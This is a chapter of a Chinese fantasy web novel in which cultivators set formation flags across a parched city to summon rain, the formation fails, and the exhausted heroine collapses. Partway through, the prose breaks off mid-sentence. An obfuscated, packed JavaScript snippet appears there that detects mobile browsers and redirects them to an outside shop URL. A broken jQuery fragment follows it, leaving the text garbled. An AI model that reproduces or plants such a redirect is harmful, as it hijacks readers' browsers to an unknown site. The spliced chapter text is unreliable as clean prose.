25. 城中安灵物 与君论对策(二)
    冀阳城说大不大,说小也不小。几人兵分两路,司青筠带着东西上山,他们几人则是前往城中各个方位布置阵旗。

    等几人通过灵讯石确认司青筠上山以后,公仪岭便纵身朝屋顶一跃,稳稳落在一片瓦片上,随后身姿轻盈起落飞纵在在城中各处的屋脊上,另外四人也是身法飘逸,紧随其后。

    司月吟手中握着灵讯石,里面时不时传来司青筠的声音:“往东四里,有一处空地,把阵旗安插到这里。”

    公仪岭心中估算了一下距离,从屋脊上落下,沿着两侧房屋绕了一圈,指了一处对众人道:“是这里吧?”

    公仪岚打量了一下四周:“应该没错。”

    司月吟也点了点头,取了手中阵旗安在了土块间的裂缝里,左手一翻祭出昆吾轮,对阵旗施了个法诀。公仪岭马上看见那阵旗似乎亮了亮,起了作用。

    公仪岭奇道:“这就是那个传说中能够就地起百阵、有毁天灭地之力的那个一品灵器?”

    纪银灵也侧目道:“自藏元长老炼出这个灵器后,便只有传闻,无人亲眼见过,原来是月吟姑娘的法器。”

    承悦啧啧赞道:“早听闻司姑娘手中的是仙门法宝榜单里名列前茅的昆吾轮,果真名不虚传。”

    司月吟翻手一挥,那宝物就消散在她掌心。

    她道:“承蒙藏元长老厚爱,赠与宝物。不过,说是毁天灭地就夸张了,若是真能如此,这就不该是灵器,反倒是凶兵了。”

    这个传言,公仪岭也只是听人说起过,故而随口一提,听到司月吟这样认真和自己解释,公仪岭也有些讪讪,胡乱应了两句,就闭口不答了。

    见气氛有点尴尬,公仪岚连忙打了个圆场,道:“现在看来,这阵旗应该是有作用的,想必这雨阵能成。”

    司月吟点头道:“我看师兄的思路没什么问题,成与不成,一试便知。”

    纪银灵道:“那就继续去下一个方位吧。”

    他们行进速度极快,按着灵讯石中传来的指示,沿着地图一路安置阵旗。公仪岭没有细细去看布完阵旗后的变化,只是飞檐走壁的时候他的五感清明,陆陆续续听见了不少百姓的声音。

    “你们看,这天上有云了!”一位妇人的声音传入耳中。

    “老天爷,这是我一个月来第一次看见云……”

    “娘,是不是……要下雨了?”也有孩子颤颤巍巍地发问。

    听到这些话,公仪岭下意识地抬头望天,才发觉不知道什么时候起,刺眼的阳光已经弱了一半,他已经不觉得日光晒人了,天上开始逐渐层云密布起来。

    几人显然都意识到了这样的变化,振奋不已。不过半个时辰,就已经将城中外八角内四角各处安置好了阵旗,只差司月吟手中早已备好的一等水系灵石用作阵眼。五个人一路横飞纵跃回到冀阳城中心的位置,就见那地面深陷,显然是司青筠所说阵眼的位置。

    司月吟在空中将手中灵石往下一掷,石头骨碌碌在地上滚了段距离,稳稳落入了中心的位置,刹那间消失不见了。

    公仪岭发自内心感叹道:“没看出来,司姑娘竟然掷得这么准,一看就是个打水漂的好手!”

    公仪岚被他说的话一噎:“阿岭,不许影响司姑娘布阵!”

    公仪岭搔了搔脸颊,讷讷道:“大哥,我发现你越来越护着……”结果话还没说完就被承悦的手一肘,打断了。

    原本布完阵旗后,天上就飘来了不少云,就连空气也越来越沉闷。等到灵石落定,忽然间更是狂风大作,飞沙走石。潮水般的风一浪一浪朝他们席卷来,犹如惊涛拍岸在半空中嚎叫嘶吼,两侧房屋的窗户被吹得吱呀作响,左右拍打,片刻后才被屋内惊慌的百姓死死关住。

    公仪岭心念一动:“看这样子,成了!”

    黄色的衣袍在屋脊上被吹得衣袂翩飞,猎猎作响,司月吟却在狂风中岿然不动,手中昆吾轮像是感知到了什么,开始嗡嗡震动起来。她看向昆吾轮,轻念了一句阵诀,闭上双目,微微抬手,周身灵气暴涨,化作丝丝金光注入轮中。

    片刻以后,司月吟倏然睁眼,一只手轻轻抬起,昆吾轮中那丝丝缕缕的灵气宛如被赋予生命,如游蛇般四散,朝着各个方向而去。

    与此同时,城中各处光芒四起。登时一道惊雷劈过,天光大作,映照乌云。

    纪银灵一手抚过叱灵琴,《慰灵》曲调缓缓流出,用极轻的声音道:“我还是第一次瞧见抱元门布这么大的阵法呢,如此壮景,当真是传言不虚。”

    公仪岭眼睛一眨也不眨地看着城内布旗的方位,期待着雨滴降下来。

    各方金光纷纷往天上汇聚去,一瞬间天空正中央某块地方光芒大盛,似有阵图形成,然后便转瞬即逝。司月吟在此时却突然眉头微皱,周身灵力竟是被她强行再一次倾泻到昆吾轮中。

    怎么回事……

    见此场景,公仪岭心中隐隐不安,紧紧捏着拳头,却不敢出声叨扰。

    眼见着司月吟开始额头沁出密密的汗珠,远处的金光也越来越甚,可是那些云像是存心与她作对一般,依旧是没有化成一滴雨水落向人间。

    公仪岚手中紧紧握着灵讯石,正犹豫要不要问一问,忽然灵讯石内传出司青筠的一声大喝:“快停下——!快!”

    此话一出,众人还没有反应过来,公仪岚竟已经一个手刀劈向司月吟。司月吟本就因灵力四散身体发虚,毫不费力就被直接打晕。幸亏一旁的纪银灵反应快,中断曲调后,帮着扶了一把,这才没有让她滑下屋脊。

    司月吟一晕,四方金光渐渐微弱,那些灵气也收回昆吾轮中,回到了她体内。

    公仪岭被这突如其来的变故一惊,再次抬头看向天空,看见好不容易聚集了一些的云已经隐隐有散开的趋势。

    承悦也是惊呆了:“怎么回事?”

    纪银灵难得显现出怒容,竟是一把夺过灵讯石,对着它斥道:“到底是什么情况?!”

    司青筠被她一吼,在那边沉默了片刻,冷声道:“纪姑娘,你质问我,我又怎知?这阵法本就是如此布局,你若是不信的话,问问他们便知!”

    他这话说得不错,方才布的每一面阵旗在什么方位多少距离,公仪岭都记得清清楚楚,与他记忆里的阵型分毫不差,于是对纪银灵点了一下头,低声道:“确实是这番布局。”

    纪银灵转头看向公仪岭,听到了他说的话,深吸一口气压下怒气,复而冷静道:“抱歉,方才是我失态了。只是刚才月吟姑娘用了过多灵力,怕是需要休养一下了。”

    公仪岚对着灵讯石道:“司兄,这阵法未成,司姑娘现在又虚弱,我看倒不如先回府中商议,看看到底是哪里出了问题?”

    司青筠思考片刻,道:“好,你们先带师妹回城主府,我随后就到。”

    回到府后,司月吟尚在昏迷之中,纪银灵从公仪岚怀中接过了她,道:“她失了不少灵力,我先给她输些,看看能不能缓解再说。”

    公仪岚面上担忧之色不减,犹豫片刻后,还是说道:“也好。”

    公仪岭清楚刚才大哥打晕她的时候用了几成力气,按理来说不出一刻钟也该醒转了,可回来以后司月吟却迟迟未醒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429893|141419||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,也就知道这阵法怕是耗了她不少灵力,就道:“你们进去吧,我们在外面等他们回来。”

    承悦在身后拿着灵讯石说完,收起石头走了过来:“我已经和孟姑娘他们联系,告知了此事,她说城中病患众多暂时脱不开身,等日落了他们就回来。”

    公仪岭看了看天色,心知离日落也不过一个时辰了,就随便找了个石凳子坐下:“哎,这下怕是又让城中百姓失望了,我路上还听见他们说终于要下雨了呢。”

    公仪岚迟疑道:“我看他们已经尽力,只是不知道为什么没成功。”

    承悦叹息道:“等司兄回来问问就是了,不过我看这事情他多半也没料到呢。”

    公仪岭也是心里存了些疑惑,想了半天却又觉得脑子里思绪乱成一团毛线,一时间琢磨不出头绪,面色沉沉没有说话。

    三人围着一张石桌坐定,等了有半个时辰,才等到司青筠进门。

    公仪岭见他进门,看向司青筠焦急道:“可弄清是怎么回事了吗?”

    司青筠脚步微顿,走到石桌旁将收来的阵旗放在上面,才坐下道:“我去城中检查了各处阵旗的位置,并无不妥。”

    承悦道:“那这阵旗本身可有问题?你们上面的图案没画错吧?”

    司青筠摇头:“这阵旗是直接从抱元门带来的现成旗子,并非我后来画的,不会有问题的。”

    公仪岚叹气道:“可是,司姑娘现下还昏迷着,你说完那句话后,她被我强行打晕了。这按理说,不出一刻钟也该醒了,只是现在……”

    司青筠看了一眼掩着的房门,低声道:“多谢。还好你出手制止了她,不然按她的性子怕是又得折不少灵力进去。”

    公仪岚怔道:“她……素来如此吗?”

    公仪岭忽然想起仙考大会的时候,就多嘴问了一句:“难道司姑娘之前不参加仙考是这个原因?”

    刚说完他又暗暗后悔,毕竟说到底这是别人宗门的事情,现在司月吟状况不佳,他这么问倒显得背地里议论,有些冒昧了。

    司青筠没有在意,道:“也有这方面的原因吧,但不完全,毕竟几位长老是真的没打算让她参加来着。不过她从小性子就这样要强,若是往难听了说,便是容易一意孤行了。按这么说,我觉得不让她参加也是好事,谁知道她较真起来会把自己弄成什么样。”

    承悦不着痕迹地瞥了公仪岚一眼,悠悠道:“看起来司兄还挺了解司姑娘,从小认识的感情果然不一般。”

    司青筠淡笑道:“三位长老只有我们二人是直系弟子,接触多了也就知道了。别看她随手能拿出那么多宝物,可都是比试的时候拼命为了取胜才赢来的,总把自己搞成这样狼狈。她这人,是个死心眼的啊。”

    公仪岭悻悻道:“好吧,没想到你们自己比试起来这么凶残,我还当她赢了这么多很轻松呢……”

    公仪岚忽略了承悦的目光,正想开口说什么,却见这时候那扇掩着的房门猛然被人推开。

    四个人闻声一齐站起身,惊诧地看着司月吟推门而出冲了过来,身后还传来纪银灵略显头疼的喊声:“月吟姑娘,你还需要静养……”

    话说完公仪岭也就明白了,定然是纪银灵刚给她渡完灵力没多久,司月吟就悠悠醒转过来,不顾劝阻就出了门。

    公仪岭张了张口,也想劝上一句,那边司青筠就已经训斥道:“出来干什么,回去歇着!”

    司月吟面色苍白如纸,额前发丝都被汗珠沁地变成几缕,仍是一路小跑过来,急忙喊道:“师兄,师兄,我知道了……我知道是为什么了!”